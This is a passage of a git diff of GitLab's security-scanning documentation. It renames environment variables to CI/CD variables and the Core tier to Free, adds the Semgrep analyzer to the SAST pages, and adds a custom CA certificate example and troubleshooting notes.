`Secure-Binaries.gitlab-ci.yml` +The following table shows which CI/CD variables you can use with the `Secure-Binaries.gitlab-ci.yml` template: -| VARIABLE | Description | Default value | +| CI/CD variable | Description | Default value | |-------------------------------------------|-----------------------------------------------|-----------------------------------| | `SECURE_BINARIES_ANALYZERS` | Comma-separated list of analyzers to download | `"bandit, brakeman, gosec, and so on..."` | | `SECURE_BINARIES_DOWNLOAD_IMAGES` | Used to disable jobs | `"true"` | @@ -224,11 +224,11 @@ these steps: Before running AutoDevOps, follow the [above steps](#using-the-official-gitlab-template) to load those container images into the local container registry. -1. Set the pipeline variable to ensure that AutoDevOps looks in the right place for those images. +1. Set the CI/CD variable to ensure that AutoDevOps looks in the right place for those images. The AutoDevOps templates leverage the `SECURE_ANALYZERS_PREFIX` variable to identify the location of analyzer images. This variable is discussed above in [Using the secure bundle created](#using-the-secure-bundle-created). Ensure that you set this variable to the correct value for where you loaded the analyzer images. - You could consider doing this with a pipeline variable or by [modifying](../../../topics/autodevops/customize.md#customizing-gitlab-ciyml) + You could consider doing this with a project CI/CD variable or by [modifying](../../../topics/autodevops/customize.md#customizing-gitlab-ciyml) the `.gitlab-ci.yml` file directly. Once these steps are complete, GitLab has local copies of the Secure analyzers and is set up to use diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md index 1f0b461c91b..83f85951388 100644 --- a/doc/user/application_security/sast/analyzers.md +++ b/doc/user/application_security/sast/analyzers.md @@ -4,10 +4,10 @@ group: Static Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# SAST Analyzers **(CORE)** +# SAST Analyzers **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3775) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.3. -> - [Moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to GitLab Core in 13.3. +> - [Moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to GitLab Free in 13.3. SAST relies on underlying third party tools that are wrapped into what we call "Analyzers". An analyzer is a @@ -33,6 +33,7 @@ SAST supports the following official analyzers: - [`phpcs-security-audit`](https://gitlab.com/gitlab-org/security-products/analyzers/phpcs-security-audit) (PHP CS security-audit) - [`pmd-apex`](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex) (PMD (Apex only)) - [`security-code-scan`](https://gitlab.com/gitlab-org/security-products/analyzers/security-code-scan) (Security Code Scan (.NET)) +- [`semgrep`](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) (Semgrep) - [`sobelow`](https://gitlab.com/gitlab-org/security-products/analyzers/sobelow) (Sobelow (Elixir Phoenix)) - [`spotbugs`](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs) (SpotBugs with the Find Sec Bugs plugin (Ant, Gradle and wrapper, Grails, Maven and wrapper, SBT)) @@ -44,8 +45,8 @@ GitLab, but users can also integrate their own **custom images**. ## Official default analyzers -Any custom change to the official analyzers can be achieved by using an -[environment variable in your `.gitlab-ci.yml`](index.md#customizing-the-sast-settings). +Any custom change to the official analyzers can be achieved by using a +[CI/CD variable in your `.gitlab-ci.yml`](index.md#customizing-the-sast-settings). ### Using a custom Docker mirror @@ -116,6 +117,19 @@ variables: SAST_EXCLUDED_ANALYZERS: "eslint" ``` +## Post Analyzers **(ULTIMATE)** + +While analyzers are thin wrappers for executing scanners, post analyzers work to +enrich the data generated within our reports. + +GitLab SAST post analyzers never modify report contents directly but work by +augmenting results with additional properties (such as CWEs), location tracking fields, +and a means of identifying false positives or insignificant findings. + +The implementation of post analyzers is determined by feature availability tiers, where +simple data enrichment may occur within our free tier and most advanced processing is split +into separate binaries or pipeline jobs. + ## Custom Analyzers You can provide your own analyzers by @@ -140,28 +154,28 @@ The [Security Scanner Integration](../../../development/integrations/secure.md) ## Analyzers Data -| Property / Tool | Apex | Bandit | Brakeman | ESLint security | SpotBugs | Flawfinder | Gosec | Kubesec Scanner | MobSF | NodeJsScan | PHP CS Security Audit | Security code Scan (.NET) | Sobelow | -| --------------------------------------- | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :---------------------: | :-------------------------: | :----------------: | -| Severity | ✓ | ✓ | ✓ | 𐄂 | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | 𐄂 | 𐄂 | -| Title | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | -| Description | ✓ | 𐄂 | 𐄂 | ✓ | ✓ | 𐄂 | 𐄂 | ✓ | ✓ | ✓ | 𐄂 | 𐄂 | ✓ | -| File | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | -| Start line | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | 𐄂 | ✓ | ✓ | ✓ | ✓ | ✓ | -| End line | ✓ | ✓ | 𐄂 | ✓ | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | -| Start column | ✓ | 𐄂 | 𐄂 | ✓ | ✓ | ✓ | ✓ | 𐄂 | 𐄂 | 𐄂 | ✓ | ✓ | 𐄂 | -| End column | ✓ | 𐄂 | 𐄂 | ✓ | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | -| External ID (for example, CVE) | 𐄂 | 𐄂 | ⚠ | 𐄂 | ⚠ | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | -| URLs | ✓ | 𐄂 | ✓ | 𐄂 | ⚠ | 𐄂 | ⚠ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | -| Internal doc/explanation | ✓ | ⚠ | ✓ | 𐄂 | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | ✓ | -| Solution | ✓ | 𐄂 | 𐄂 | 𐄂 | ⚠ | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | -| Affected item (for example, class or package) | ✓ | 𐄂 | ✓ | 𐄂 | ✓ | ✓ | 𐄂 | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | -| Confidence | 𐄂 | ✓ | ✓ | 𐄂 | ✓ | x | ✓ | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | ✓ | -| Source code extract | 𐄂 | ✓ | ✓ | ✓ | 𐄂 | ✓ | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | -| Internal ID | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | 𐄂 | 𐄂 | 𐄂 | ✓ | ✓ | ✓ | +| Property / Tool | Apex | Bandit | Brakeman | ESLint security | SpotBugs | Flawfinder | Gosec | Kubesec Scanner | MobSF | NodeJsScan | PHP CS Security Audit | Security code Scan (.NET) | Semgrep | Sobelow | +|--------------------------------|------|--------|----------|-----------------|----------|------------|-------|-----------------|-------|------------|-----------------------|---------------------------|---------|---------| +| Affected item (for example, class or package) | ✓ | ✗ | ✓ | ✗ | ✓ | ✓ | ✗ | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | +| Confidence | ✗ | ✓ | ✓ | ✗ | ✓ | x | ✓ | ✓ | ✗ | ✗ | ✗ | ✗ | ⚠ | ✓ | +| Description | ✓ | ✗ | ✗ | ✓ | ✓ | ✗ | ✗ | ✓ | ✓ | ✓ | ✗ | ✗ | ✓ | ✓ | +| End column | ✓ | ✗ | ✗ | ✓ | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | +| End line | ✓ | ✓ | ✗ | ✓ | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | +| External ID (for example, CVE) | ✗ | ✗ | ⚠ | ✗ | ⚠ | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ⚠ | ✗ | +| File | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | +| Internal doc/explanation | ✓ | ⚠ | ✓ | ✗ | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✓ | +| Internal ID | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ | ✗ | ✗ | ✓ | ✓ | ✓ | ✓ | +| Severity | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ | ⚠ | ✗ | +| Solution | ✓ | ✗ | ✗ | ✗ | ⚠ | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ⚠ | ✗ | +| Source code extract | ✗ | ✓ | ✓ | ✓ | ✗ | ✓ | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | +| Start column | ✓ | ✗ | ✗ | ✓ | ✓ | ✓ | ✓ | ✗ | ✗ | ✗ | ✓ | ✓ | ✓ | ✗ | +| Start line | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | +| Title | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | +| URLs | ✓ | ✗ | ✓ | ✗ | ⚠ | ✗ | ⚠ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | - ✓ => we have that data - ⚠ => we have that data but it's partially reliable, or we need to extract it from unstructured content -- 𐄂 => we don't have that data or it would need to develop specific or inefficient/unreliable logic to obtain it. +- ✗ => we don't have that data or it would need to develop specific or inefficient/unreliable logic to obtain it. The values provided by these tools are heterogeneous so they are sometimes normalized into common values (for example, `severity`, `confidence`, and so on). diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md index 59887c95c67..880edebfeda 100644 --- a/doc/user/application_security/sast/index.md +++ b/doc/user/application_security/sast/index.md @@ -8,7 +8,7 @@ type: reference, howto # Static Application Security Testing (SAST) > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3775) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.3. -> - All open source (OSS) analyzers were moved to GitLab Core in GitLab 13.3. +> - All open source (OSS) analyzers were moved to GitLab Free in GitLab 13.3. NOTE: The whitepaper ["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/) @@ -83,6 +83,7 @@ You can also [view our language roadmap](https://about.gitlab.com/direction/secu | Objective-C (iOS) | [MobSF (beta)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | 13.5 | | PHP | [phpcs-security-audit](https://github.com/FloeDesignTechnologies/phpcs-security-audit) | 10.8 | | Python ([pip](https://pip.pypa.io/en/stable/)) | [bandit](https://github.com/PyCQA/bandit) | 10.3 | +| Python | [semgrep](https://semgrep.dev) | 13.9 | | React | [ESLint react plugin](https://github.com/yannickcr/eslint-plugin-react) | 12.5 | | Ruby on Rails | [brakeman](https://brakemanscanner.org) | 10.3 | | Scala ([Ant](https://ant.apache.org/), [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/), and [SBT](https://www.scala-sbt.org/)) | [SpotBugs](https://spotbugs.github.io/) with the [find-sec-bugs](https://find-sec-bugs.github.io/) plugin | 11.0 (SBT) & 11.9 (Ant, Gradle, Maven) | @@ -111,24 +112,25 @@ The following analyzers have multi-project support: - MobSF - PMD - Security Code Scan +- Semgrep - SpotBugs - Sobelow #### Enable multi-project support for Security Code Scan Multi-project support in the Security Code Scan requires a Solution (`.sln`) file in the root of -the repository. For details on the Solution format, see the Microsoft reference [Solution (.sln) file](https://docs.microsoft.com/en-us/visualstudio/extensibility/internals/solution-dot-sln-file?view=vs-2019). +the repository. For details on the Solution format, see the Microsoft reference [Solution (`.sln`) file](https://docs.microsoft.com/en-us/visualstudio/extensibility/internals/solution-dot-sln-file?view=vs-2019). ### Making SAST analyzers available to all GitLab tiers -All open source (OSS) analyzers have been moved to the GitLab Core tier as of GitLab 13.3. +All open source (OSS) analyzers have been moved to the GitLab Free tier as of GitLab 13.3. #### Summary of features per tier Different features are available in different [GitLab tiers](https://about.gitlab.com/pricing/), as shown in the following table: -| Capability | In Core | In Ultimate | +| Capability | In Free | In Ultimate | |:-----------------------------------------------------------------------------------|:--------------------|:-------------------| | [Configure SAST Scanners](#configuration) | **{check-circle}** | **{check-circle}** | | [Customize SAST Settings](#customizing-the-sast-settings) | **{check-circle}** | **{check-circle}** | @@ -188,14 +190,15 @@ page: 1. If the project does not have a `.gitlab-ci.yml` file, click **Enable** in the Static Application Security Testing (SAST) row, otherwise click **Configure**. 1. Enter the custom SAST values. - Custom values are stored in the `.gitlab-ci.yml` file. For variables not in the SAST Configuration page, their values are left unchanged. Default values are inherited from the GitLab SAST template. + Custom values are stored in the `.gitlab-ci.yml` file. For CI/CD variables not in the SAST Configuration page, their values are left unchanged. Default values are inherited from the GitLab SAST template. + 1. Optionally, expand the **SAST analyzers** section, select individual [SAST analyzers](analyzers.md) and enter custom analyzer values. 1. Click **Create Merge Request**. 1. Review and merge the merge request. ### Customizing the SAST settings -The SAST settings can be changed through [environment variables](#available-variables) +The SAST settings can be changed through [CI/CD variables](#available-variables) by using the [`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`. In the following example, we include the SAST template and at the same time we @@ -254,8 +257,8 @@ To create a custom ruleset: 1. Create a custom ruleset file named `sast-ruleset.toml` in the `.gitlab` directory. 1. In the `sast-ruleset.toml` file, do one of the following: - - Disable predefined rules belonging to SAST analyzers. In this example, the disabled rules - belong to `eslint` and `sobelow` and have the corresponding identifiers `type` and `value`: + - Disable predefined rules belonging to SAST analyzers. In this example, the three disabled rules + belong to `eslint` and `sobelow` by matching the corresponding identifiers' `type` and `value`: ```toml [eslint] @@ -265,6 +268,12 @@ To create a custom ruleset: type = "eslint_rule_id" value = "security/detect-object-injection" + [[eslint.ruleset]] + disable = true + [eslint.ruleset.identifier] + type = "cwe" + value = "185" + [sobelow] [[sobelow.ruleset]] disable = true @@ -322,20 +331,20 @@ To create a custom ruleset: value = "gosec-config.json" ``` -### Using environment variables to pass credentials for private repositories +### Using CI/CD variables to pass credentials for private repositories Some analyzers require downloading the project's dependencies in order to perform the analysis. In turn, such dependencies may live in private Git repositories and thus require credentials like username and password to download them. Depending on the analyzer, such credentials can be provided to -it via [custom environment variables](#custom-environment-variables). +it via [custom CI/CD variables](#custom-cicd-variables). -#### Using a variable to pass username and password to a private Maven repository +#### Using a CI/CD variable to pass username and password to a private Maven repository If your private Maven repository requires login credentials, -you can use the `MAVEN_CLI_OPTS` environment variable. +you can use the `MAVEN_CLI_OPTS` CI/CD variable. -Read more on [how to use private Maven repositories](../index.md#using-private-maven-repos). +Read more on [how to use private Maven repositories](../index.md#using-private-maven-repositories). ### Enabling Kubesec analyzer @@ -361,7 +370,7 @@ a `before_script` execution to prepare your scan job. To pass your project's dependencies as artifacts, the dependencies must be included in the project's working directory and specified using the `artifacts:path` configuration. -If all dependencies are present, the `COMPILE=false` variable can be provided to the +If all dependencies are present, the `COMPILE=false` CI/CD variable can be provided to the analyzer and compilation is skipped: ```yaml @@ -401,7 +410,7 @@ can use `MAVEN_REPO_PATH`. See ### Available variables -SAST can be [configured](#customizing-the-sast-settings) using environment variables. +SAST can be [configured](#customizing-the-sast-settings) using CI/CD variables. #### Logging level @@ -421,63 +430,75 @@ From highest to lowest severity, the logging levels are: #### Custom Certificate Authority To trust a custom Certificate Authority, set the `ADDITIONAL_CA_CERT_BUNDLE` variable to the bundle -of CA certs that you want to trust in the SAST environment. +of CA certs that you want to trust in the SAST environment. The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the [text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1). For example, to configure this value in the `.gitlab-ci.yml` file, use the following: + +```yaml +variables: + ADDITIONAL_CA_CERT_BUNDLE: | + -----BEGIN CERTIFICATE----- + MIIGqTCCBJGgAwIBAgIQI7AVxxVwg2kch4d56XNdDjANBgkqhkiG9w0BAQsFADCB + ... + jWgmPqF3vUbZE0EyScetPJquRFRKIesyJuBFMAs= + -----END CERTIFICATE----- +``` + +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. #### Docker images -The following are Docker image-related variables. +The following are Docker image-related CI/CD variables. -| Environment variable | Description | +| CI/CD variable | Description | |---------------------------|---------------------------------------------------------------------------------------------------------------------------------------| | `SECURE_ANALYZERS_PREFIX` | Override the name of the Docker registry providing the default images (proxy). Read more about [customizing analyzers](analyzers.md). | | `SAST_ANALYZER_IMAGE_TAG` | **DEPRECATED:** Override the Docker tag of the default images. Read more about [customizing analyzers](analyzers.md). | -| `SAST_DEFAULT_ANALYZERS` | **DEPRECATED:** Override the names of default images. Scheduled for [removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/290777). | +| `SAST_DEFAULT_ANALYZERS` | **DEPRECATED:** Override the names of default images. Scheduled for [removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/290777). | | `SAST_EXCLUDED_ANALYZERS` | Names of default images that should never run. Read more about [customizing analyzers](analyzers.md). | #### Vulnerability filters Some analyzers make it possible to filter out vulnerabilities under a given threshold. -| Environment variable | Default value | Description | -|-------------------------------|--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `SAST_EXCLUDED_PATHS` | `spec, test, tests, tmp` | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec` ). Parent directories also match patterns. You might need to exclude temporary directories used by your build tool as these can generate false positives. | -| `SEARCH_MAX_DEPTH` | 4 | SAST searches the repository to detect the programming languages used, and selects the matching analyzers. Set the value of `SEARCH_MAX_DEPTH` to specify how many directory levels the search phase should span. After the analyzers have been selected, the _entire_ repository is analyzed. | -| `SAST_BANDIT_EXCLUDED_PATHS` | | Comma-separated list of paths to exclude from scan. Uses Python's [`fnmatch` syntax](https://docs.python.org/2/library/fnmatch.html); For example: `'*/tests/*, */venv/*'` | -| `SAST_BRAKEMAN_LEVEL` | 1 | Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low 3=High. | -| `SAST_FLAWFINDER_LEVEL` | 1 | Ignore Flawfinder vulnerabilities under given risk level. Integer, 0=No risk, 5=High risk. | -| `SAST_GOSEC_LEVEL` | 0 | Ignore Gosec vulnerabilities under given confidence level. Integer, 0=Undefined, 1=Low, 2=Medium, 3=High. | +| CI/CD variable | Default value | Description | +|------------------------------|--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `SAST_EXCLUDED_PATHS` | `spec, test, tests, tmp` | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec` ). Parent directories also match patterns. You might need to exclude temporary directories used by your build tool as these can generate false positives. | +| `SEARCH_MAX_DEPTH` | 4 | SAST searches the repository to detect the programming languages used, and selects the matching analyzers. Set the value of `SEARCH_MAX_DEPTH` to specify how many directory levels the search phase should span. After the analyzers have been selected, the _entire_ repository is analyzed. | +| `SAST_BANDIT_EXCLUDED_PATHS` | | Comma-separated list of paths to exclude from scan. Uses Python's [`fnmatch` syntax](https://docs.python.org/2/library/fnmatch.html); For example: `'*/tests/*, */venv/*'` | +| `SAST_BRAKEMAN_LEVEL` | 1 | Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low 3=High. | +| `SAST_FLAWFINDER_LEVEL` | 1 | Ignore Flawfinder vulnerabilities under given risk level. Integer, 0=No risk, 5=High risk. | +| `SAST_GOSEC_LEVEL` | 0 | Ignore Gosec vulnerabilities under given confidence level. Integer, 0=Undefined, 1=Low, 2=Medium, 3=High. | #### Analyzer settings -Some analyzers can be customized with environment variables. - -| Environment variable | Analyzer | Description | -|---------------------------------------|----------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `SCAN_KUBERNETES_MANIFESTS` | Kubesec | Set to `"true"` to scan Kubernetes manifests. | -| `KUBESEC_HELM_CHARTS_PATH` | Kubesec | Optional path to Helm charts that `helm` uses to generate a Kubernetes manifest that `kubesec` scans. If dependencies are defined, `helm dependency build` should be ran in a `before_script` to fetch the necessary dependencies. | -| `KUBESEC_HELM_OPTIONS` | Kubesec | Additional arguments for the `helm` executable. | -| `COMPILE` | SpotBugs | Set to `false` to disable project compilation and dependency fetching. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195252) in GitLab 13.1. | -| `ANT_HOME` | SpotBugs | The `ANT_HOME` environment variable. | -| `ANT_PATH` | SpotBugs | Path to the `ant` executable. | -| `GRADLE_PATH` | SpotBugs | Path to the `gradle` executable. | -| `JAVA_OPTS` | SpotBugs | Additional arguments for the `java` executable. | -| `JAVA_PATH` | SpotBugs | Path to the `java` executable. | -| `SAST_JAVA_VERSION` | SpotBugs | Which Java version to use. Supported versions are `8` and `11`. Defaults to `8`. | -| `MAVEN_CLI_OPTS` | SpotBugs | Additional arguments for the `mvn` or `mvnw` executable. | -| `MAVEN_PATH` | SpotBugs | Path to the `mvn` executable. | -| `MAVEN_REPO_PATH` | SpotBugs | Path to the Maven local repository (shortcut for the `maven.repo.local` property). | -| `SBT_PATH` | SpotBugs | Path to the `sbt` executable. | -| `FAIL_NEVER` | SpotBugs | Set to `1` to ignore compilation failure. | -| `SAST_GOSEC_CONFIG` | Gosec | Path to configuration for Gosec (optional). | -| `PHPCS_SECURITY_AUDIT_PHP_EXTENSIONS` | phpcs-security-audit | Comma separated list of additional PHP Extensions. | -| `SAST_DISABLE_BABEL` | NodeJsScan | Disable Babel processing for the NodeJsScan scanner. Set to `true` to disable Babel processing. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33065) in GitLab 13.2. | - -#### Custom environment variables +Some analyzers can be customized with CI/CD variables. + +| CI/CD variable | Analyzer | Description | +|-----------------------------|------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `SCAN_KUBERNETES_MANIFESTS` | Kubesec | Set to `"true"` to scan Kubernetes manifests. | +| `KUBESEC_HELM_CHARTS_PATH` | Kubesec | Optional path to Helm charts that `helm` uses to generate a Kubernetes manifest that `kubesec` scans. If dependencies are defined, `helm dependency build` should be ran in a `before_script` to fetch the necessary dependencies. | +| `KUBESEC_HELM_OPTIONS` | Kubesec | Additional arguments for the `helm` executable. | +| `COMPILE` | SpotBugs | Set to `false` to disable project compilation and dependency fetching. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195252) in GitLab 13.1. | +| `ANT_HOME` | SpotBugs | The `ANT_HOME` variable. | +| `ANT_PATH` | SpotBugs | Path to the `ant` executable. | +| `GRADLE_PATH` | SpotBugs | Path to the `gradle` executable. | +| `JAVA_OPTS` | SpotBugs | Additional arguments for the `java` executable. | +| `JAVA_PATH` | SpotBugs | Path to the `java` executable. | +| `SAST_JAVA_VERSION` | SpotBugs | Which Java version to use. Supported versions are `8` and `11`. Defaults to `8`. | +| `MAVEN_CLI_OPTS` | SpotBugs | Additional arguments for the `mvn` or `mvnw` executable. | +| `MAVEN_PATH` | SpotBugs | Path to the `mvn` executable. | +| `MAVEN_REPO_PATH` | SpotBugs | Path to the Maven local repository (shortcut for the `maven.repo.local` property). | +| `SBT_PATH` | SpotBugs | Path to the `sbt` executable. | +| `FAIL_NEVER` | SpotBugs | Set to `1` to ignore compilation failure. | +| `SAST_GOSEC_CONFIG` | Gosec | Path to configuration for Gosec (optional). | +| `PHPCS_SECURITY_AUDIT_PHP_EXTENSIONS` | phpcs-security-audit | Comma separated list of additional PHP Extensions. | +| `SAST_DISABLE_BABEL` | NodeJsScan | Disable Babel processing for the NodeJsScan scanner. Set to `true` to disable Babel processing. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33065) in GitLab 13.2. | + +#### Custom CI/CD variables > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18193) in GitLab Ultimate 12.5. -In addition to the aforementioned SAST configuration variables, -all [custom environment variables](../../../ci/variables/README.md#custom-environment-variables) are propagated +In addition to the aforementioned SAST configuration CI/CD variables, +all [custom variables](../../../ci/variables/README.md#custom-cicd-variables) are propagated to the underlying SAST analyzer images if [the SAST vendored template](#configuration) is used. @@ -669,22 +690,23 @@ For details on saving and transporting Docker images as a file, see Docker's doc Support for custom certificate authorities was introduced in the following versions. -| Analyzer | Version | -| -------- | ------- | -| `bandit` | [v2.3.0](https://gitlab.com/gitlab-org/security-products/analyzers/bandit/-/releases/v2.3.0) | -| `brakeman` | [v2.1.0](https://gitlab.com/gitlab-org/security-products/analyzers/brakeman/-/releases/v2.1.0) | -| `eslint` | [v2.9.2](https://gitlab.com/gitlab-org/security-products/analyzers/eslint/-/releases/v2.9.2) | -| `flawfinder` | [v2.3.0](https://gitlab.com/gitlab-org/security-products/analyzers/flawfinder/-/releases/v2.3.0) | -| `gosec` | [v2.5.0](https://gitlab.com/gitlab-org/security-products/analyzers/gosec/-/releases/v2.5.0) | -| `kubesec` | [v2.1.0](https://gitlab.com/gitlab-org/security-products/analyzers/kubesec/-/releases/v2.1.0) | -| `nodejs-scan` | [v2.9.5](https://gitlab.com/gitlab-org/security-products/analyzers/nodejs-scan/-/releases/v2.9.5) | +| Analyzer | Version | +| -------- | ------- | +| `bandit` | [v2.3.0](https://gitlab.com/gitlab-org/security-products/analyzers/bandit/-/releases/v2.3.0) | +| `brakeman` | [v2.1.0](https://gitlab.com/gitlab-org/security-products/analyzers/brakeman/-/releases/v2.1.0) | +| `eslint` | [v2.9.2](https://gitlab.com/gitlab-org/security-products/analyzers/eslint/-/releases/v2.9.2) | +| `flawfinder` | [v2.3.0](https://gitlab.com/gitlab-org/security-products/analyzers/flawfinder/-/releases/v2.3.0) | +| `gosec` | [v2.5.0](https://gitlab.com/gitlab-org/security-products/analyzers/gosec/-/releases/v2.5.0) | +| `kubesec` | [v2.1.0](https://gitlab.com/gitlab-org/security-products/analyzers/kubesec/-/releases/v2.1.0) | +| `nodejs-scan` | [v2.9.5](https://gitlab.com/gitlab-org/security-products/analyzers/nodejs-scan/-/releases/v2.9.5) | | `phpcs-security-audit` | [v2.8.2](https://gitlab.com/gitlab-org/security-products/analyzers/phpcs-security-audit/-/releases/v2.8.2) | -| `pmd-apex` | [v2.1.0](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex/-/releases/v2.1.0) | -| `security-code-scan` | [v2.7.3](https://gitlab.com/gitlab-org/security-products/analyzers/security-code-scan/-/releases/v2.7.3) | -| `sobelow` | [v2.2.0](https://gitlab.com/gitlab-org/security-products/analyzers/sobelow/-/releases/v2.2.0) | -| `spotbugs` | [v2.7.1](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs/-/releases/v2.7.1) | +| `pmd-apex` | [v2.1.0](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex/-/releases/v2.1.0) | +| `security-code-scan` | [v2.7.3](https://gitlab.com/gitlab-org/security-products/analyzers/security-code-scan/-/releases/v2.7.3) | +| `semgrep` | [v0.0.1](https://gitlab.com/gitlab-org/security-products/analyzers/security-code-scan/-/releases/v0.0.1) | +| `sobelow` | [v2.2.0](https://gitlab.com/gitlab-org/security-products/analyzers/sobelow/-/releases/v2.2.0) | +| `spotbugs` | [v2.7.1](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs/-/releases/v2.7.1) | -### Set SAST CI job variables to use local SAST analyzers +### Set SAST CI/CD variables to use local SAST analyzers Add the following configuration to your `.gitlab-ci.yml` file. You must replace `SECURE_ANALYZERS_PREFIX` to refer to your local Docker container registry: @@ -720,6 +742,10 @@ affected. Read more in For information on this, see the [general Application Security troubleshooting section](../../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload). +### Error: `sast is used for configuration only, and its script should not be executed` + +For information on this, see the [GitLab Secure troubleshooting section](../index.md#error-job-is-used-for-configuration-only-and-its-script-should-not-be-executed). + ### Limitation when using rules:exists The [SAST CI template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml) @@ -750,3 +776,7 @@ For Maven builds, add the following to your `pom.xml` file: <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> ``` + +### Flawfinder encoding error + +This occurs when Flawfinder encounters an invalid UTF-8 character. To fix this, convert all source code in your project to UTF-8 character encoding. This can be done with [`cvt2utf`](https://github.com/x1angli/cvt2utf) or [`iconv`](https://www.gnu.org/software/libiconv/documentation/libiconv-1.13/iconv.1.html) either over the entire project or per job using the [`before_script`](../../../ci/yaml/README.md#before_script) feature. diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md index 0ae038924ec..98177e804f3 100644 --- a/doc/user/application_security/secret_detection/index.md +++ b/doc/user/application_security/secret_detection/index.md @@ -86,14 +86,14 @@ However not all features are available on every tier. See the breakdown below fo Different features are available in different [GitLab tiers](https://about.gitlab.com/pricing/), as shown in the following table: -| Capability | In Core | In Ultimate | -|:--------------------------------------------------------------------------|:--------------------|:-------------------| -| [Configure Secret Detection Scanners](#configuration) | **{check-circle}** | **{check-circle}** | -| [Customize Secret Detection 